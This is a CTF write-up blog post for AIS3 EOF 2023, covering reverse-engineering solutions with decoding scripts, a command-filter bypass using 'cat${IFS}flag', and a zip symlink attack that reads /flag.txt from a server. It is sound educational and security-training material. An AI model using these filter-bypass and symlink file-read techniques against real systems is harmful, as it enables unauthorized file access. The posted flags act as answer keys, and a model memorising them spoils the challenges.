AIS3-EOF-2023

AIS3-EOF-2023

Reverse

Mumumu

1
2
3
4
5
linux ELF

大概看一下IDA
他會先讀取flag檔案,在產出一個flag_enc
flag為54個字

1
2
原始flag密文
6ct69GHt_A00utACToohy_0u0rb_9c5byF3A}G515buR11_kL{3rp_
1
2
3
4
構造payload
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqr
54個字 驗證得出來的flag_enc為
lYQon3OLXpWiCVmBGKHhZUMNRSaFqgADf0E2rJjPe765T8k914bcdI

1
2
3
得出打亂後的offset
接著寫出一個list index找出它原本的位置
然後將flag_enc歸位 即可拿到flag
  • exp.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqr"
    enc = 'lYQon3OLXpWiCVmBGKHhZUMNRSaFqgADf0E2rJjPe765T8k914bcdI'
    flag_enc = '6ct69GHt_A00utACToohy_0u0rb_9c5byF3A}G515buR11_kL{3rp_'

    flag = [0] * 54

    for i in range(54):
    flag[i] = enc.index(s[i])

    result = ""

    for i in range(54):
    result += flag_enc[flag[i]]

    print(result)

    #FLAG{Rub1k5Cub3_To_Got0uH1t0r1_t0_cyb3rp5ych05_6A96A9}

Nekomatsuri

  • DIE 先看
1
2
3
main 進來後跟著x64dbg追
sub_140001550("%s",Source);
-> scanf

1
2
3
4
5
6
sub_140001AE0解析kernel32.dll裡的函數
接著呼叫CreateThread
v6 = CreateThread(0i64, 0i64, sub_1400015F2, &qword_140015040, 0, v5);

這裡使用了Windows API中的 CreateThread 函數
其中StartAddress function pointer,指向新執行緒中執行的函數

  • StartAddress
    1
    2
    3
    4
    5
    6
    disammable 發現有呼叫encrypt_rc4
    第一個參數指向加密的記憶體pointer
    再來第二個參數加密的大小
    在return時會回傳大小

    //key :Ch1y0d4m0m0
1
2
3
4
main rc4解密結果為WinExec字符串
會再利用WriteFile寫入子線程的另一個Source裡

//WinExec


1
2
再多加一個參數啟動程式讓他進入else子線程
Source輸入為WinExec

1
2
3
進入check_flag
觀察encrypt_rc4解密後的結果
byte_7FF7ED6B00F6為我們要的密文65byte


  • 解密

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    有了flag_enc跟key
    可以直接做解密

    enc = '0525723D4F2F5701573B54213B51024D15421E51187A271A760943114311472D24507C263C772722262C7F7F0E777C37616D316F62693646353C203F396C363C50'
    enc = bytes.fromhex(enc)
    #print(c)

    key = b'Ch1y0d4m0m0'

    for i in range(len(enc)):
    flag = enc[i]
    flag = flag ^ key[i % len(key)]^i
    print(chr(flag), end='')

  • FLAG

    1
    FLAG{Neko_ni_muragara_re_iinkai_4264abe1c58da2caa871f102e4c4aee3}

misc

Washer

1
2
題目打開有讀寫功能以及執行外部檔案
首先查看原始碼
  • chal.c
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    #include <fcntl.h>
    #include <grp.h>
    #include <signal.h>
    #include <spawn.h>
    #include <stdbool.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    void random_string(char *buf, int n) {
    unsigned int seed;
    FILE *fp = fopen("/dev/random", "r");
    fread(&seed, sizeof(seed), 1, fp);
    fclose(fp);
    srand(seed);
    for (int i = 0; i < n; ++i) {
    buf[i] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
    [rand() % 62];
    }
    buf[n] = '\0';
    }

    void menu() {
    puts("=== Menu ===");
    puts("1. Write Note");
    puts("2. Read Note");
    puts("3. Magic");
    puts("4. Exit");
    }

    void spawn_prog(char *path) {
    pid_t pid = 0;
    char *const argv[] = {path, NULL};
    char *const envp[] = {NULL};
    posix_spawn_file_actions_t file_actions;
    posix_spawn_file_actions_init(&file_actions);
    posix_spawn_file_actions_addclose(&file_actions, STDIN_FILENO);
    posix_spawn(&pid, path, &file_actions, NULL, argv, envp);
    sleep(1);
    kill(pid, SIGKILL);
    }

    bool validate(char *buf) {
    for (char *p = buf; *p != '\0'; p++) {
    if ('$' > *p || *p > '}')
    return false;
    }
    return true;
    }

    int main() {
    gid_t groups[] = {65534};
    setgid(groups[0]);
    setgroups(1, groups);
    setuid(65534);
    setvbuf(stdout, NULL, _IONBF, 0);

    char name[7];
    random_string(name, 6);
    printf("Welcome, %s\n", name);

    char filename[12];
    sprintf(filename, "/tmp/%s", name);
    close(
    open(filename, O_CREAT | O_TRUNC | O_RDWR, S_IRUSR | S_IWUSR | S_IXUSR));

    while (true) {
    menu();

    int option;
    scanf("%d", &option);
    if (option == 1) {
    puts("Content:");

    char buf[100] = {};
    scanf("%s", buf);

    if (validate(buf)) {
    int fd = open(filename, O_CREAT | O_TRUNC | O_WRONLY,
    S_IRUSR | S_IWUSR | S_IXUSR);
    write(fd, buf, strlen(buf));
    close(fd);
    }
    } else if (option == 2) {
    char buf[100] = {};
    int fd = open(filename, O_RDONLY);
    read(fd, buf, sizeof(buf));
    close(fd);

    printf("Content:\n%s\n", buf);
    } else if (option == 3) {
    puts("Curse:");

    char buf[100] = {};
    scanf("%s", buf);
    spawn_prog(buf);
    } else {
    break;
    }
    }
    return 0;
    }

1
2
3
4
5
6
7
8
9
10
11
12
題目流程大致上是先setuid為nobody
接著進入選單
會在/tmp下產生六個字元的隨機檔案
可以利用選單1寫入指令
2可以拿來查看內容
3可以執行外部檔案
因此可以透過1來寫指令 3來執行他

一開始卡住是因為我以為我沒有權限去讀flag
後來發現是因為我空白沒有吃進去
沒注意到有這段 '$' > *p || *p > '}'
因此簡單用${IFS}繞過
  • payload

    1
    2
    3
    4
    5
    6
    首先write note

    cat${IFS}flag

    利用3 給course
    /tmp/aMbehd

  • FLAG

    1
    FLAG{Hmmm_s4nitiz3r_sh0uld_h3lp_right?🤔}

Web

Share

1
2
3
4
5
6
7
首先觀察題目src
在upload頁面可以上傳一個zip檔
他會用subprocess.run去做Unzip 並找到index.html redirect

如果沒有index.html他會爆出index.html not found

可以使用zip symlink攻擊手法取得/flag.txt
1
2
3
4
5
ln -s /flag.txt index.html
zip -r --symlinks demo1.zip index.html

因為index.html被我們設定軟連結至根目錄的flag.txt
因此當上傳後他讀取的index.html會連結至/flag.txt 取得flag

  • FLAG
    1
    FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}

AIS3-EOF-2023
https://luoming1995125.github.io/2023/09/18/AIS3-EOF-2022/
作者
Peter Luo
發布於
2023年9月18日
許可協議